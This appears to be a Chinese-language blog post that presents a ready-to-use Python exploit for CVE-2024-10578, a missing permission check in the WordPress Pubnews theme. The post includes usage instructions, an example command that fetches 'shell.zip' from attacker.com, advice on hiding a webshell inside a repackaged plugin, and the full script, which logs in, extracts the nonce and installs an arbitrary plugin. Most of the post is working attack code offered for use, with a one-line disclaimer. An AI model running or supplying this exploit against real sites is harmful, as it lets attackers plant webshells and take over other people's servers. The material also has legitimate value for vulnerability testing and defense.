Pubnews主题漏洞利用工具 - 自动化任意插件安装脚本

5 阅读4分钟

Pubnews 主题漏洞利用工具 (CVE-2024-10578)

本项目提供了一个针对 WordPress Pubnews 主题 1.0.7 及更早版本 的自动化漏洞利用脚本。该脚本利用 pubnews_importer_plugin_action_for_notice() 函数中缺失的权限检查漏洞,允许经过身份验证的用户安装任意插件,从而可能进一步利用其他漏洞。

功能特性

  • 自动化认证:通过 WordPress 登录接口进行身份验证,支持用户名和密码。
  • 安全随机数提取:自动从目标页面的JavaScript变量中提取 _wpnonce 值,用于构造后续请求。
  • 远程插件安装:利用主题漏洞,从指定的URL下载并安装任意的插件压缩包(zip文件)。
  • 详细反馈:脚本在执行每一步操作后都会在控制台输出明确的状态信息,便于使用者了解攻击流程和结果。

安装指南

系统要求

  • Python 3.x
  • requests

安装依赖

您可以使用 pip 来安装所需的Python库:

pip install requests

使用说明

基本用法

该脚本通过命令行参数运行,您需要提供WordPress站点的URL、登录凭据以及恶意插件的下载链接。

python wordpress_exploit.py -u <目标URL> -un <用户名> -p <密码> -url_zip <插件zip文件URL>

参数说明

参数简写必需描述
--url-u目标WordPress站点的完整URL。
--username-un用于登录WordPress的用户名。
--password-p用于登录WordPress的密码。
--plugin_url-url_zip指向待安装插件zip文件的直接下载链接。

使用示例

python wordpress_exploit.py -u http://example.com/wordpress -un admin -p password123 -url_zip http://attacker.com/shell.zip

预期输出

[+] Logged in successfully.
[+] Admin _wpnonce extracted: 6bf22371ab
[+] Plugin installed successfully.
[+] Plugin extracted. You can find the shell here: /wp-content/plugins/shell1/

重要提示

  • 插件准备--plugin_url 参数必须是一个直接指向zip文件的链接。为了确保利用成功,建议将一个现有的WordPress插件(如hello.php)进行修改,将您的恶意代码(例如Webshell)嵌入其中,然后重新打包为zip文件,并将其托管在可通过互联网访问的服务器上。
  • 权限要求:该漏洞需要攻击者拥有一个有效的WordPress账户(即使是订阅者级别的账户也可)。脚本会首先进行身份验证。
  • 作用域:该脚本仅用于授权环境下的安全测试和教育目的。未经授权使用此工具攻击他人系统是违法的。

核心代码

以下是该利用工具的核心逻辑实现,展示了从登录认证、提取_wpnonce到发送恶意插件安装请求的完整过程。

import requests
import argparse
import re

def main():
    parser = argparse.ArgumentParser(description='Pubnews <= 1.0.7 - Unauthenticated Arbitrary Plugin Installation # By Nxploited , Khaled alenazi')
    parser.add_argument('-u', '--url', required=True, help='The URL of the WordPress site')
    parser.add_argument('-un', '--username', required=True, help='The username for WordPress login')
    parser.add_argument('-p', '--password', required=True, help='The password for WordPress login')
    parser.add_argument('-url_zip', '--plugin_url', required=True, help='The plugin URL to install (must be a zip file with the shell injected inside)')
    
    args = parser.parse_args()
    session = requests.Session()
    requests.packages.urllib3.disable_warnings()
    session.verify = False

    # 1. 身份验证
    login_url = args.url + '/wp-login.php'
    user_agent = "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0"
    response = session.post(login_url, verify=False, data={
        'log': args.username,
        'pwd': args.password,
        'rememberme': 'forever',
        'wp-submit': 'Log+In'
    }, headers={"User-Agent": user_agent})

    if any('wordpress_logged_in' in cookie.name for cookie in session.cookies):
        print("[+] Logged in successfully.")
    else:
        print("[-] Failed to log in.")
        exit()

    # 2. 提取安全随机数 (_wpnonce)
    admin_page_url = args.url + '/wp-admin/admin.php?page=pubnews-info'
    response = session.get(admin_page_url, verify=False)
    wpnonce_match = re.search(r'var pubnewsThemeInfoObject = {.*?"_wpnonce":"([^"]+)"', response.text)
    if wpnonce_match:
        admin_wpnonce = wpnonce_match.group(1)
        print(f"[+] Admin _wpnonce extracted: {admin_wpnonce}")
    else:
        print("[-] Failed to extract admin _wpnonce.")
        exit()

    # 3. 构造并发送插件安装请求
    plugin_file = args.plugin_url.split('/')[-1].replace('.zip', '')
    plugin_file_path = f"{plugin_file}/{plugin_file.split('.')[0]}.php"

    post_url = args.url + '/wp-admin/admin-ajax.php'
    headers = {
        "User-Agent": user_agent,
        "Accept": "*/*",
        "Accept-Language": "en-US,en;q=0.5",
        "Accept-Encoding": "gzip, deflate, br",
        "Referer": args.url + '/wp-admin/admin.php?page=pubnews-info',
        "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
        "X-Requested-With": "XMLHttpRequest",
        "Origin": args.url,
        "Connection": "keep-alive",
    }

    # 将session中的cookie添加到请求头中
    cookies = session.cookies.get_dict()
    headers['Cookie'] = '; '.join([f'{name}={value}' for name, value in cookies.items()])

    install_data = {
        'action': 'pubnews_importer_plugin_action',
        '_wpnonce': admin_wpnonce,
        'plugin_action': 'not-installed',
        'link': args.plugin_url,
        'file': plugin_file_path,
        'importer_or_not': 'true'
    }
    
    response = session.post(post_url, headers=headers, data=install_data, verify=False)
    if response.status_code == 200 and 'status' in response.text:
        print("[+] Plugin installed successfully.")
        print(f"[+] Plugin extracted. You can find the shell here: /wp-content/plugins/{plugin_file}/")
    else:
        print(f"[-] Failed to install plugin. Status code: {response.status_code}")
        print(response.text)
        exit()

if __name__ == "__main__":
    main()

6HFtX5dABrKlqXeO5PUv//PY1jA021g87WptDu3Oph0=